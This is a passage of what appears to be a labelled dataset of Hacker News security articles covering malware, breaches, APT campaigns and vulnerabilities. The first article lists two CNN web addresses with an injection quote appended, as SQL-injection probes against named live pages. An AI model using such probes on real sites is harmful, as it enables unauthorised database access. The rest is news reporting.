",Vulnerability
Multiple SQL Injection Vulnerabilities on CNN website Exposed,https://thehackernews.com/2011/06/multiple-sql-injection-vulnerabilities.html,"Multiple SQL Injection Vulnerabilities on CNN website Exposed
Yes ! CNN is also not Secure site, There are Multiple SQL Injection Vulnerabilities on CNN News site exposed by Hacker named ""Sec Indi"".


CNN.com is among the world's leaders in online news and information delivery. Staffed 24 hours, seven days a week by a dedicated staff in CNN's world headquarters in Atlanta, Georgia, and in bureaus worldwide, CNN.com relies heavily on CNN's global team of almost 4,000 news professionals. CNN.com features the latest multimedia technologies, from live video streaming to audio packages to searchable archives of news features and background information. The site is updated continuously throughout the day.


SQL Injection Vulnerable Links :
1.) https://cgi.money.cnn.com/tools/collegecost/collegecost.jsp?college_id='7966


2.) https://cgi.money.cnn.com/tools/fortune/compare_2009.jsp?id=11439'


Screenshots Submitted By Hacker :

SQL Injection Vulnerability was the Reason for biggest data breaches of 2011 ,like various SONY hacks. Hacker said that he inform the CNN admin 2-3 times, but site is still Vulnerable. I think now CNN should take this small bugs Seriously.

",Vulnerability
New ZeuS Malware spreading automatically via USB Flash Drives,https://thehackernews.com/2013/06/ZeuS-Malware-antivirus-usb-free-spyware.html,"The notorious Zeus Trojan, a family of banking malware known for stealing passwords and draining the accounts of its victims, has steadily increased in recent months.

The malware family itself is frequently updated with mechanisms designed to evade detection by antivirus and network security appliances.
Trend Micro experts spotted another new variant of ZBOT Malware which is capable of spreading itself automatically via USB Flash Drives or removable drives.

According to report, this particular ZBOT variant arrives through a malicious PDF file disguised as a sales invoice document and when user opens this file using Adobe Reader, it triggers an exploit.

Malware also has an auto update module, so that it can download and run an updated copy of itself. To self propagate, it creates a hidden folder with a copy of itself inside the USB drive with a shortcut pointing to the hidden ZBOT copy.
Another variant of ZeuS #Malware spotted, with new feature of spreading itself automatically via USB Flash Drives thehackernews.com/2013/06/ZeuS-M…
— The Hacker News™ (@TheHackersNews) June 11, 2013
Zeus has been so successful it's been made into an exploit kit, a packaged malware that is setup to allow even inexperienced cybercriminals to use it. ZeuS continues to be a formidable malware which is becoming more dangerous with each improvement made to it.

",Malware
Cyber Attacks on gas pipeline linked to China,https://thehackernews.com/2012/05/cyber-attacks-on-gas-pipeline-linked-to.html,"Cyber Attacks on gas pipeline linked to China

The spear-phishing attacks laying siege to networks in the natural gas pipeline industry apparently are being carried out by the same group that hacked RSA security last year. The attacks, which have been occurring since late this past March, have targeted several of the country's natural gas pipeline companies.

According to U.S. officials, it's unclear if a foreign power is trying to map the gas systems or if hackers are attempting to harm the pipelines. A previous attack on the oil and gas sector seemed to originate in China.

DHS supplied the pipeline industry and its security experts with digital signatures, or ""indicators of compromise"" (IOCs). Those indicators included computer file names, computer IP addresses, domain names, and other key information associated with the cyberspies, which companies could use to check their networks for signs they've been infiltrated.

DHS officials and a spokesman have acknowledged they are working with the FBI to find out who may be behind the intrusions and malicious emails. The Monitor reports that some investigators now believe that the campaign is tied to another attack last year against cybersecurity company RSA, which the head of the National Security Agency told Congress could be traced back to China.

The group responsible for the RSA attacks has also been linked to several previous hacking incidents around the globe.Politico reports that these recent attacks, combined with the devastating 2010 natural gas pipeline explosion in California, illustrate the potential dangers of the rapidly expanding gas pipeline network.

The oil and gas sector has been targeted before. In February 2011 the computer security firm McAfee discovered a computer intrusion labeled ""Night Dragon"" that was traced to China. As part of that attack, individuals tried to obtain sensitive data and financial documents from the oil and gas companies about bids and future drilling exploration projects.

[Source]

",Malware
Sony Pictures Employees Receive Threatening Email After Hack,https://thehackernews.com/2014/12/Sony-Hack-Cyber-Attack.html,"The massive hacking attack against Sony Pictures Entertainment have reached a totally unbelievable and scary phase as multiple media sources are saying that Sony Pictures employees received e-mails from hackers threatening to harm them and their family members.
Said one employee, ""It's really crazy and scary.""
It seems like matters for Sony Pictures is getting worse with time. Last month hacking attack on Sony Pictures Entertainment made the studio's internal corporate systems offline and spewed confidential information onto the Internet. Hackers group that identifies itself as #GOP (Guardians of Peace) claimed responsibility for the hack and apparently stolen reams of internal corporate data as well.

Just a week after the cyber-attack on Sony Pictures Entertainment, high-quality versions of five newest films – Annie, Fury, Still Alice, Mr. Turner and To Write Love on Her Arms – distributed by Sony Pictures leaked online during Black Friday. Although it has not been confirmed that the leak of all the films came from the same breach, but the company suffering is the same.

However, it didn't end up here!! Just last week, the massive data breach at Sony appeared to have exposed more sensitive documents, revealing the US Social Security numbers of more than 47,000 celebrities, freelancers, and current and former Sony employees.

And now, according to several media sources, employees at Sony Pictures Entertainment were sent threatening emails from the GOP group of hackers.
The e-mail was written in English that asked the company employees, ""Please sign your name to object the false (sic) of the company at the email address below, if you don't want to suffer damage. If you don't, not only you but your family will be in danger.""
Sony Pictures is working with the Federal Bureau of Investigation (FBI) to investigate the whole matter. Till then, the employees at the Studio were told to turn off their phones after receiving this email messages.

As we reported earlier, there are some possibilities that hackers working on behalf of North Korea were behind the hacking incident, though the country denied it. But Sony believes that the cyber attack on its network is the payback for upcoming Kim Jong assassination comedy film, ""The Interview,"" which is about two journalists who are recruited by the CIA to assassinate North Korean leader Kim Jong Un.

The FBI investigating the matter said that cyber criminals have used malicious software, Wiper malware, to launch destructive cyber-attacks including the one occurred at Sony Pictures Entertainment.

The full email send by hackers to the Studio's employee reads:
""I am the head of GOP who made you worry.
Removing Sony Pictures on earth is a very tiny work for our group which is a worldwide organization. And what we have done so far is only a small part of our further plan.It's your false if you if you think this crisis will be over after some time. All hope will leave you and Sony Pictures will collapse. This situation is only due to Sony Pictures. Sony Pictures is responsible for whatever the result is. Sony Pictues clings to what is good to nobody from the beginning. It's silly to expect in Sony Pictures to take off us. Sony Pictures makes only useless efforts. One beside you can be our member.

Many things beyond imagination will happen at many places of the world. Our agents find themselves act in necessary places. Please sign your name to object the false of the company at the email address below if you don't want to suffer damage. If you don't, not only you but your family will be in danger.

Nobody can prevent us, but the only way is to follow our demand. If you want to prevent us, make your company behave wisely.""

",Cyber_Attack
POWELIKS — A Persistent Windows Malware Without Any Installer File,https://thehackernews.com/2014/08/poweliks-persistent-windows-malware.html,"Malware is nothing but a malicious files which is stored on an infected computer system in order to damage the system or steal sensitive data from it or perform other malicious activities. But security researchers have uncovered a new and sophisticated piece of malware that infects systems and steals data without installing any file onto the targeted system.

Researchers dubbed this persistent malware as Poweliks, which resides in the computer registry only and is therefore not easily detectable as other typical malware that installs files on the affected system which can be scanned by antivirus or anti-malware Software.

According to Paul Rascagneres, Senior Threat Researcher, Malware analyst at GData software, due to the malware's subsequent and step-after-step execution of code, the feature set was similar to a stacking principles of Matryoshka Doll approach.

Paul has made a number of name ripping malware and bots to uncover and undermine cyber crimes. He won last years' Pwnie Award at Black Hat Las Vegas for tearing through the infrastructure of Chinese hacker group APT1.

In order to infect a system, the malware spreads via emails through a malicious Microsoft Word document and after that it creates an encoded autostart registry key and to remain undetectable it keeps the registry key hidden, Rascagneres says.

The malware then creates and executes shellcode, along with a payload Windows binary that tried to connect to 'hard coded IP addresses' in an effort to receive further commands from the attacker.
""All activities are stored in the registry. No file is ever created,"" Rascagneres said in a blog post. ""So, attackers are able to circumvent classic anti-malware file scan techniques with such an approach and are able to carry out any desired action when they reach the innermost layer of [a machine] even after a system re-boot.""
""To prevent attacks like this, antivirus solutions have to either catch the initial Word document before it is executed (if there is one), preferably before it reached the customer's email inbox.""
To create an autostart mechanism, the malware creates a registry, which is a non-ASCII character key, as Windows Regedit cannot read or open the non-ASCII key entry.

CAPABILITIES OF POWELIKS MALWARE
Poweliks malware is quite dangerous and can perform a number of malicious activities. The malware can:
Download any payload
Install spyware on the infected computer to harvest users' personal information or business documents
Install banking Trojans in order to steal money
Install any other type of malicious software that can fulfil the needs of the attackers
used in botnet structures
generate immense revenue through ad-fraud
The non-ASCII trick is a tool which the Microsoft created and uses in order to hide its source code from being copied or tampered with, but this feature was later cracked by a security researcher.
The security and malware researchers on the KernelMode.info forum last month analysed a sample which is dropped by a Microsoft Word document that exploited the vulnerability described in CVE-2012-0158, which affected Microsoft products including Microsoft Office.

The malware authors distributed the malware as an attachment of fake Canada Post and/or USPS email allegedly holding tracking information.
""This trick prevents a lot of tools from processing this malicious entry at all and it could generate a lot of trouble for incident response teams during the analysis. The mechanism can be used to start any program on the infected system and this makes it very powerful,"" Rascagneres said.

",Malware
Apache Patch released for Reverse proxy Bypass Vulnerability,https://thehackernews.com/2011/10/apache-patch-released-for-reverse-proxy.html,"Apache Patch released for Reverse proxy Bypass Vulnerability
Security experts at Context have discovered a hole in the Apache web server that allows remote attackers to access internal servers. Security experts are warning firms running the Apache web server to keep up to date with the latest patches after the Apache Software Foundation issued a security advisory to all customers highlighting a new vulnerability. The weakness in 1.3 and all 2.x versions of the Apache HTTP Server can be exploited only under certain conditions.

Reverse proxies are used to route external HTTP and HTTPS web requests to one of several internal web servers to access data and resources. Typical applications include load balancing, separating static from dynamic content, or to present a single interface to a number of different web servers at different paths.

Context explained that the attack is based on an Apache web server using the mod_rewrite proxy function, and uses a common hacking tool to change the request to access DMZ systems.""We can access any internal/DMZ system which the proxy can access including administration interfaces on firewalls, routers, web servers, databases etc,"" the firm said.""Context has had plenty of success with this attack where credentials are weak on the internal systems allowing for full network compromise e.g. uploading Trojan WAR files on to JBoss servers.""

Apache issued a patch for those who compile their own installations of the webserver. It wouldn't be surprising to see Linux distributions release their own security updates in the next few days. Apache's advisory also contains suggestions for writing proxy rules that prevent the attack from working. Adding a simple forward slash to certain configurations, for example, will go a long way to protecting sensitive systems. The line is ""RewriteRule (.*)\.(jpg|gif|png)"" could expose internal servers, while the line ""RewriteRule /(.*)\.(jpg|gif|png)"" (note the extra ""/"") will ensure they remain protected.

The best way to prevent this type of attack is to apply the new Apache patch and run the latest version of the software, and to ensure that your reverse proxy rewrite rules can't be employed to access internal systems, according to Context.

",Vulnerability
Healthcare Industry Witnessed 45% Spike in Cyber Attacks Since Nov 20,https://thehackernews.com/2021/01/healthcare-industry-witnessed-45-spike.html,"Cyberattacks targeting healthcare organizations have spiked by 45% since November 2020 as COVID-19 cases continue to increase globally.
According to a new report published by Check Point Research today and shared with The Hacker News, this increase has made the sector the most targeted industry by cybercriminals when compared to an overall 22% increase in cyberattacks across all industry sectors worldwide seen during the same time period.
The average number of weekly attacks in the healthcare sector reached 626 per organization in November as opposed to 430 the previous month, with attack vectors ranging from ransomware, botnets, remote code execution, and distributed denial-of-service (DDoS) attacks.
Ransomware attacks against hospitals also marked their biggest jump, with Ryuk and Sodinokibi emerging as the primary ransomware variants employed by various criminal groups.
""The usage of Ryuk emphasizes the trend of having more targeted and tailored ransomware attacks rather than using a massive spam campaign, which allows the attackers to make sure they hit the most critical parts of the organization and have a higher chance of getting paid,"" Omer Dembinsky, Check Point's manager of data intelligence, said.
Central Europe topped the list of regions impacted by the increase in attacks against healthcare organizations with a 145% uptick in November, followed by East Asia (up 137%) and Latin America (up 112% increase). Europe and North America saw increases of 67% and 37% respectively.
The development follows a joint advisory from the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Health and Human Services (HHS) last October, warning of an ""increased and imminent cybercrime threat to U.S. hospitals and healthcare providers.""
The alert cautioned of adversaries targeting the Healthcare and Public Health (HPH) sector with TrickBot and BazarLoader malware, resulting in ransomware infections, data theft, and the disruption of healthcare services.
Over the past two months, state-sponsored actors have ramped up their cyber assaults against government health ministries and companies involved in COVID-19 vaccine distribution, not to mention staging ransomware attacks on pharmaceutical firms such as Dr. Reddy's Laboratories that are engaged in vaccine trials.
Ransomware cases, in particular, have capitalized on the coronavirus pandemic, not least because it boosts the likelihood that hospitals will meet attackers' demands to quickly recover access to critical systems and provide care to patients. The University of California paid the hackers 116 bitcoin ($1.14 million) after a NetWalker attack on its systems back in June.
""Medical services and research organizations [have become] targets for attacks seeking to steal valuable commercial and professional information, or to disrupt vital research operations,"" the researchers concluded.
""As the world's attention continues to focus on dealing with the pandemic, cybercriminals will also continue to use and try to exploit that focus for their own illegal purposes — so it's essential that both organizations and individuals maintain good cyber-hygiene to protect themselves against Covid-related online crime.""

",Cyber_Attack
Software Supply-Chain Attack Hits Vietnam Government Certification Authority,https://thehackernews.com/2020/12/software-supply-chain-attack-hits.html,"Cybersecurity researchers today disclosed a new supply-chain attack targeting the Vietnam Government Certification Authority (VGCA) that compromised the agency's digital signature toolkit to install a backdoor on victim systems.
Uncovered by Slovak internet security company ESET early this month, the ""SignSight"" attack involved modifying software installers hosted on the CA's website (""ca.gov.vn"") to insert a spyware tool called PhantomNet or Smanager.
According to ESET's telemetry, the breach happened from at least July 23 to August 16, 2020, with the two installers in question — ""gca01-client-v2-x32-8.3.msi"" and ""gca01-client-v2-x64-8.3.msi"" for 32-bit and 64-bit Windows systems — tampered to include the backdoor.
""The compromise of a certification authority website is a good opportunity for APT groups, since visitors are likely to have a high level of trust in a state organization responsible for digital signatures,"" ESET's Matthieu Faou said.
After the attack was reported to VGCA, the certificate authority confirmed that ""they were aware of the attack before our notification and that they notified the users who downloaded the trojanized software.""
The digital signature tool, mandated by Vietnam's Government Cipher Committee as part of an electronic authentication scheme, is used by the government sector as well as private companies to digitally sign documents using a USB token (also called a PKI token) that stores the digital signature and requires the aforementioned driver to operate.
As a consequence, the only way a user can get infected is when the compromised software hosted on the official website is manually downloaded and executed on the target system.
Once installed, the modified software starts the genuine GCA program to mask the breach and then runs the PhantomNet backdoor that masquerades as a seemingly harmless file named ""eToken.exe.""
The backdoor — compiled most recently on April 26 — takes the responsibility of collecting system information, with additional malicious capabilities deployed through plugins retrieved from hardcoded command-and-control servers (e.g. ""vgca.homeunix[.]org"" and ""office365.blogdns[.]com"") that mimic the names of VGCA and popular productivity software.
ESET said in addition to Vietnam, it saw victims in the Philippines, but their delivery mechanism remains unknown. The ultimate goal of the attackers remains unclear as well, what with little to no information about the post-compromise activity.
If anything, the incident highlights why supply-chain attacks are increasingly becoming a common attack vector among cyberespionage groups, as it allows the adversaries to deploy malware on many computers at the same time covertly.
In November, ESET disclosed a Lazarus campaign in South Korea that used legitimate security software and stolen digital certificates to distribute remote administration tools (RATs) on target systems.
Then last week, it also found that a chat software called Able Desktop, used by 430 government agencies in Mongolia, was abused to deliver the HyperBro backdoor, the Korplug RAT, and another Trojan called Tmanger.
Lastly, a supply-chain attack on SolarWinds Orion software discovered this week was exploited to breach several major US government agencies, including the Departments of Homeland Security, Commerce, Treasury, and State.
""Supply-chain attacks are typically hard to find, as the malicious code is generally hidden among a lot of legitimate code, making its discovery significantly more difficult,"" Faou concluded.

",Malware
Operation Lotus Blossom APT - Elise Malware,https://thehackernews.com/2015/08/elise-malware-hacking.html,"Advanced Persistent Threat (APT) type attacks continue to emerge on a global scale. What makes these attacks deviate from the norm is often the resources required to develop and implement them: time, money, and the knowledge required to create custom pieces of malware to carry out specific, targeted attacks.

Operation Lotus Blossom is one of the more recent APT attacks that has been discovered and analyzed. It is an advanced adversary campaign against the mostly government and state-sponsored entities in the Philippines, Hong Kong, Vietnam, and Indonesia.

It is thought that this group carried out the attack to gain a geopolitical advantage by stealing specific information from government and military institutions in that area.

At this point, it is still too early to tell if the reach of the attack will extend to the private sector (a la Stuxnet and Duqu).

How does the attack work?

It was found that Operation Lotus Blossom involved a novel custom-built malware toolkit that the authors named Elise. This piece of malware was designed with some unique functions, including the ability to:
Evade sandbox detection
Connect to and control servers
Exfiltrate data
Deliver 2nd stage malware payloads

As has been seen in the case of many advanced cyber espionage groups, it begins with a spear phishing email. The email contains information that is very authentic and applicable to the government or military targets. For instance, it uses things like military rosters that targets expect to see. Once the victim sees the email and opens the attachment, a decoy document is presented that appears to be legitimate, however, what is actually happening is that a backdoor is being opened and malware is being installed on the victim's machine. This gives the attacker a base of operations to conduct additional network reconnaissance, compromise new systems, as well as deliver second stage malware or exfiltrate data.

Impact on you

Any malware installed on your network puts you at risk of compromise, especially one designed to steal data
Once installed, Elise can infect other machines and continue to deliver additional malware variants as needed
Elise is specially designed to steal data, putting you and your clients' sensitive information at risk
How AlienVault Help

AlienVault Labs continues to perform cutting edge research on threats like these, collecting large amounts of data and then creating expert threat intelligence as a result.

The Labs team has already released IDS signatures and a correlation rule to the AlienVault USM platform so customers can detect activity from Elise. Learn more about this threat intelligence update and others in our forum.

Unified Security Management (USM) Platform helps you to scan your network to identify assets that could be infected with the Elise malware, making it easy for you to prioritize efforts and quickly identify systems that need to be addressed first.

Not only can it identifies vulnerable systems, but it can also help you detect attempted exploits of the vulnerability.

Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Cyber_Attack
Sony Pictures Hack — 5 Things You Need To Know,https://thehackernews.com/2014/12/sony-pictures-hack.html,"What a horrible start the holiday season in U.S. Over Thanksgiving weekend, Sony Pictures Entertainment suffered a massive data breach as ""Guardians of Peace"" hacked-into Sony Pictures' computer system that brought the studio's network to a screeching halt.

Following the hack, hackers leaked five unreleased Sony movies to Torrent file-sharing website during Black Friday. It's still not clear whether both the incident back to back with Sony Pictures belongs to same group of hackers or not, but here's what you need to know about the breach:

1. FBI MALWARE WARNING AFTER SONY PICTURES HACK
The U.S. Federal Bureau of Investigation (FBI) warned businesses that cyber criminals have used malicious software to launch destructive cyber-attacks in the United States, following the last week's massive data breach at Sony Pictures Entertainment, in which four unreleased films were stolen and pirate-shared.

In a five-page confidential 'flash' warning, FBI recommended users to strengthen the protection of their information systems and limit access to databases. But when asked if the same malicious software had been used against the Sony Pictures hack, FBI declined to comment.

This new ""destructive"" malware has capability to overwrite a victim host's master boot record and all data files. ""The overwriting of the data files will make it extremely difficult and costly, if not impossible, to recover the data using standard forensic methods,"" according to Reuters who independently obtained the report.

2. IS NORTH KOREA BEHIND THE CYBER ATTACK ON SONY PICTURES ?
As we reported earlier, Sony Pictures is investigating the possibility that hackers working on behalf of North Korea were behind the hacking incident.

Sony hack is the payback for upcoming Kim Jong assassination comedy film. It is because the hack comes just a month before the scheduled release of Sony's upcoming comedy ""The Interview,"" a comedy about two journalists who are recruited by the CIA to assassinate North Korean leader Kim Jong Un.

The film became a source of international controversy, and the Pyongyang government denounced the film as ""undisguised sponsoring of terrorism, as well as an Act of War"" in a letter to U.N. Secretary-General Ban Ki-moon in June.

But pointing finger towards North Korea without any strong evidence would be wrong. So, we still won't confirm whether its cyber war by North Korea or some other unknown, sophisticated hacker.

3. FIVE MOVIE LEAKED LINKED TO SONY PICTURES
Following the last weeks cyber-attack on Sony Pictures Entertainment, high-quality versions of five newest films – Annie, Fury, Still Alice, Mr. Turner and To Write Love on Her Arms – distributed by Sony Pictures leaked online during Black Friday.

Four of the leaked films have yet to hit the big screen. The remake of the 1982 released ""Annie"" is Sony's next big film, schedule to hit theaters on Dec. 19 with new stars Quvenzhané Wallis, Cameron Diaz and Jamie Foxx.

Two other new films, ""Mr. Turner"" and ""Still Alice"" are also considered possible Oscar contenders for their lead actors Timothy Spall and Julianne Moore.

4. SONY HIRED FIREEYE FOR INVESTIGATION
Sony Pictures Entertainment has hired Mandiant incident response team of FireEye Inc to help clean-up the damage caused by the huge cyber attack on its network, which forced its employees to put pen to paper over the last few weeks.

In addition to the FireEye, FBI is also investigating the matter and is looking into the devastating leak of four of its upcoming movies, although it has not been confirmed that the leak of all the films came from the same data breach.

Mandiant is a well-known security incident response team of FireEye which deals in forensic analysis, repairs and network restoration. Mandiant is the same team that helped in the catastrophic security breach experienced by one of the world's largest retailer Target in 2013.

5. SONY PICTURES HACK IS NOT THE COMPANY'S FIRST TIME HACK
In August, Sony's PlayStation Network was completely taken down by a distributed denial-of-service (DDoS) attack, a common technique used by hackers to overwhelm a system with traffic and make the network temporarily inaccessible to users.

The gaming network also suffered a more severe hack in 2011, which led to the exposure of 77 million PlayStation and Qriocity accounts along with 25 million Sony Online Entertainment accounts, bringing the total to more than 100 million in one of the largest data breaches ever. The hack cost Sony 14 billion yen ($172 million), and it took the networks -- for downloading and playing games, movies, and music -- offline for about a month before bringing them back up.

",Data_Breaches
Researchers Developed Artificial Intelligence-Powered Stealthy Malware,https://thehackernews.com/2018/08/artificial-intelligence-malware.html,"Artificial Intelligence (AI) has been seen as a potential solution for automatically detecting and combating malware, and stop cyber attacks before they affect any organization.

However, the same technology can also be weaponized by threat actors to power a new generation of malware that can evade even the best cyber-security defenses and infects a computer network or launch an attack only when the target's face is detected by the camera.

To demonstrate this scenario, security researchers at IBM Research came up with DeepLocker—a new breed of ""highly targeted and evasive"" attack tool powered by AI,"" which conceals its malicious intent until it reached a specific victim.

According to the IBM researcher, DeepLocker flies under the radar without being detected and ""unleashes its malicious action as soon as the AI model identifies the target through indicators like facial recognition, geolocation and voice recognition.""

Describing it as the ""spray and pray"" approach of traditional malware, researchers believe that this kind of stealthy AI-powered malware is particularly dangerous because, like nation-state malware, it could infect millions of systems without being detected.

The malware can hide its malicious payload in benign carrier applications, like video conferencing software, to avoid detection by most antivirus and malware scanners until it reaches specific victims, who are identified via indicators such as voice recognition, facial recognition, geolocation and other system-level features.

Also Read: Artificial Intelligence Based System That Can Detect 85% of Cyber Attacks

""What is unique about DeepLocker is that the use of AI makes the ""trigger conditions"" to unlock the attack almost impossible to reverse engineer,"" the researchers explain. ""The malicious payload will only be unlocked if the intended target is reached.""
To demonstrate DeepLocker's capabilities, the researchers designed a proof of concept, camouflaging well-known WannaCry ransomware in a video conferencing app so that it remains undetected by security tools, including antivirus engines and malware sandboxes.

With the built-in triggering condition, DeepLocker did not unlock and execute the ransomware on the system until it recognized the face of the target, which can be matched using publicly available photos of the target.

""Imagine that this video conferencing application is distributed and downloaded by millions of people, which is a plausible scenario nowadays on many public platforms. When launched, the app would surreptitiously feed camera snapshots into the embedded AI model, but otherwise behave normally for all users except the intended target,"" the researchers added.
""When the victim sits in front of the computer and uses the application, the camera would feed their face to the app, and the malicious payload will be secretly executed, thanks to the victim's face, which was the preprogrammed key to unlock it.""
So, all DeepLocker requires is your photo, which can easily be found from any of your social media profiles on LinkedIn, Facebook, Twitter, Google+, or Instagram, to target you.

Trustwave has recently open-sourced a facial recognition tool called Social Mapper, which can be used to search for targets across numerous social networks at once.

The IBM Research group will unveil more details and a live demonstration of its proof-of-concept implementation of DeepLocker at the Black Hat USA security conference in Las Vegas on Wednesday.
",Malware
Warning : Fake Grand Theft Auto V torrent spreading malware,https://thehackernews.com/2013/09/GTA-5-download-malware-hacker-torrent.html,"Excitement continues .. Rockstar Games schedule the release of latest The Grand Theft Auto series, GTA 5 on September 17, but Cyber Criminals has already released a fake version of GTA 5 contains malware on torrent networks.

Romanian security firm BitDefender issued warning that GTA V hasn't been leaked, and during installation you will be asked to complete a survey and send off a text message to gain the serial number. You will then be charged €1 per day on your phone bill and will be infected by a virus.
The PC version has yet to be announced, so trying to install it on your PC is a ridiculous idea; but that seems to be what a lot of people are doing.

""The survey opens in a web browser and, therefore, is able to perform a geographic redirect to the web page that corresponds to the area you are located in,"" said, Bitdefender Senior E-Threat Analyst Bogdan Botezatu.

This malware is a generic Trojan Trojan.GenericKDV.1134859, which can steal user information, tamper with system files or draft a computer into a botnet. This will result in you being charged for premium rate text messages sent by bogus firms.

The easiest way to avoid this malicious software is to not illegally download copies of GTA V, especially when the game isn't yet launched.

",Malware
Researchers Link 'Sharpshooter' Cyber Attacks to North Korean Hackers,https://thehackernews.com/2019/03/north-korea-hacking.html,"Security researchers have finally, with ""high confidence,"" linked a previously discovered global cyber espionage campaign targeting critical infrastructure around the world to a North Korean APT hacking group.

Thanks to the new evidence collected by researchers after analyzing a command-and-control (C2) server involved in the espionage campaign and seized by law enforcement.

Dubbed Operation Sharpshooter, the cyber espionage campaign targeting government, defense, nuclear, energy, and financial organizations around the world was initially uncovered in December 2018 by security researchers at McAfee.

At that time, even after finding numerous technical links to the North Korean Lazarus hacking group, researchers were not able to immediately attribute the campaign due to a potential for false flags.

Researchers Analysed Sharpshooter's Command Server

Now, according to a press release shared with The Hacker News, a recent analysis of the seized code and command-and-control (C2) server allowed researchers to understand the inner working of the global cyber espionage campaign, concluding that the North Korean state-sponsored hacking group is behind Operation Sharpshooter.

Lazarus Group, also known as Hidden Cobra and Guardians of Peace, is believed to be backed by the North Korean government and had reportedly been associated with the 2017 global WannaCry ransomware attack, the 2016 SWIFT Banking hack, as well as the 2014 Sony Pictures hack.

The analysis also revealed that the global espionage campaign began as early as September 2017, a year earlier than previously thought and is still ongoing.

While previous attacks were primarily targeting telecommunications, government and financial sectors in the United States, Switzerland, and Israel, and other English-speaking countries, newly-discovered evidence suggests that Sharpshooter has expanded its focus to critical infrastructure, with the most recent attacks targeting Germany, Turkey, the United Kingdom, and the United States.

Operation Sharpshooter: Global Cyber-Espionage Campaign

The global espionage campaign spreads by sending malicious documents containing a weaponized macro to targets via Dropbox. Once opened and downloaded, the macro leverages embedded shellcode to inject the Sharpshooter downloader into the memory of Microsoft Word.
For further exploitation, this in-memory implant then covertly downloads the second-stage Rising Sun malware, which uses source code from the Lazarus Group's backdoor Trojan Duuzer, malware first circulated in 2015 targeting organizations in South Korea.

The Rising Sun malware then performs reconnaissance on the victim's network by gathering and encrypting data, including victim devices' computer name, IP address data, native system information and more.

""Access to the adversary's command-and-control server code is a rare opportunity. These systems provide insights into the inner workings of cyber attack infrastructure, are typically seized by law enforcement, and only rarely made available to private sector researchers,"" said Christiaan Beek, McAfee senior principal engineer, and lead scientist.

""The insights gained through access to this code are indispensable in the effort to understand and combat today's most prominent and sophisticated cyber attack campaigns.""

Moreover, analysis of the C2 server and file logs also revealed an African connection, as the researchers uncovered a network block of IP addresses originating from a city located in the African nation of Namibia.

""This led McAfee Advanced Threat Research analysts to suspect that the actors behind Sharpshooter may have tested their implants and other techniques in this area of the world prior to launching their broader campaign of attacks,"" the researchers say.

The C2 infrastructure used by the attackers has a core backend written in Hypertext Preprocessor (PHP), and Active Server Pages (ASP), which ""appears to be custom and unique to the group"" and has been part of the Lazarus operations since 2017.
",Cyber_Attack
New Rapidly-Growing IoT Botnet Threatens to Take Down the Internet,https://thehackernews.com/2017/10/iot-botnet-malware-attack.html,"Just a year after Mirai—biggest IoT-based malware that caused vast Internet outages by launching massive DDoS attacks—completed its first anniversary, security researchers are now warning of a brand new rapidly growing IoT botnet.

Dubbed 'IoT_reaper,' first spotted in September by researchers at firm Qihoo 360, the new malware no longer depends on cracking weak passwords; instead, it exploits vulnerabilities in various IoT devices and enslaves them into a botnet network.

IoT_reaper malware currently includes exploits for nine previously disclosed vulnerabilities in IoT devices from following manufactures:
Dlink (routers)
Netgear (routers)
Linksys (routers)
Goahead (cameras)
JAWS (cameras)
AVTECH (cameras)
Vacron (NVR)
Researchers believe IoT_reaper malware has already infected nearly two million devices and growing continuously at an extraordinary rate of 10,000 new devices per day.

This is extremely worrying because it took only 100,000 infected devices for Mirai to took down DNS provider Dyn last year using a massive DDoS attack.

Besides this, researchers noted that the malware also includes more than 100 DNS open resolvers, enabling it to launch DNS amplification attacks.
""Currently, this botnet is still in its early stages of expansion. But the author is actively modifying the code, which deserves our vigilance."" Qihoo 360 researchers say.
Meanwhile, researchers at CheckPoint are also warning of probably same IoT botnet, named ""IoTroop,"" that has already infected hundreds of thousands of organisations.
""It is too early to guess the intentions of the threat actors behind it, but with previous Botnet DDoS attacks essentially taking down the Internet, it is vital that organisations make proper preparations and defence mechanisms are put in place before attack strikes."" researchers said.
According to CheckPoint, IoTroop malware also exploits vulnerabilities in Wireless IP Camera devices from GoAhead, D-Link, TP-Link, AVTECH, Linksys, Synology and others.

At this time it is not known who created this and why, but the DDoS threat landscape is skyrocketing and could reach tens of terabits-per-second in size.

""Our research suggests we are now experiencing the calm before an even more powerful storm. The next cyber hurricane is about to come."" CheckPoint researchers warned.

You need to be more vigilant about the security of your smart devices. In our previous article, we have provided some essential, somewhat practical, solutions to protect your IoT devices.

Also Read: How Drones Can Find and Hack Internet-of-Things Devices From the Sky.

",Cyber_Attack
"Hackers Exploiting Microsoft Servers to Mine Monero - Makes $63,000 In 3 Months",https://thehackernews.com/2017/09/windows-monero-miners.html,"Mining cryptocurrencies can be a costly investment as it takes a monstrous amount of computing power, and thus hackers have started using malware that steals computing resources of computers it hijacks to make lots of dollars in digital currency.

Security researchers at security firm ESET have spotted one such malware that infected hundreds of Windows web servers with a malicious cryptocurrency miner and helped cybercriminals made more than $63,000 worth of Monero (XMR) in just three months.

According to a report published by ESET today, cybercriminals only made modifications to legitimate open source Monero mining software and exploited a known vulnerability in Microsoft IIS 6.0 to secretly install the miner on unpatched Windows servers.

Although ESET's investigation does not identify the attackers, it reports that the attackers have been infecting unpatched Windows web servers with the cryptocurrency miner since at least May 2017 to mine 'Monero,' a Bitcoin-like cryptocurrency.

The vulnerability (CVE-2017-7269) exploited by the attackers was discovered in March 2017 by Zhiniang Peng and Chen Wu and resides in the WebDAV service of Microsoft IIS version 6.0—the web server in Windows Server 2003 R2.

Therefore, hackers are only targeting unpatched machines running Windows Server 2003 to make them part of a botnet, which has already helped them made over $63,000 worth of Monero.

Since the vulnerability is on a web server, which is meant to be visible from the internet, it can be accessed and exploited by anyone. You can learn more about the vulnerability here.

The newly discovered malware mines Monero that has a total market valuation of about $1.4 billion, which is far behind Bitcoin in market capitalisation, but cybercriminals' love for Monero is due to its focus on privacy.

Unlike Bitcoin, Monero offers untraceable transactions and is anonymous cryptocurrency in the world today.

Another reason of hackers favouring Monero is that it uses a proof-of-work algorithm called CryptoNight, which suits computer or server CPUs and GPUs, while Bitcoin mining requires specific mining hardware.

However, this is not the first time when analysts have spotted such malware mining Monero by stealing computing resources of compromised computers.

In mid-May, Proofpoint researcher Kafeine discovered cryptocurrency mining malware, called 'Adylkuzz,' which was using EternalBlue exploit—created by the NSA and dumped last month by the Shadow Brokers in April—to infect unpatched Windows systems to mine Monero.

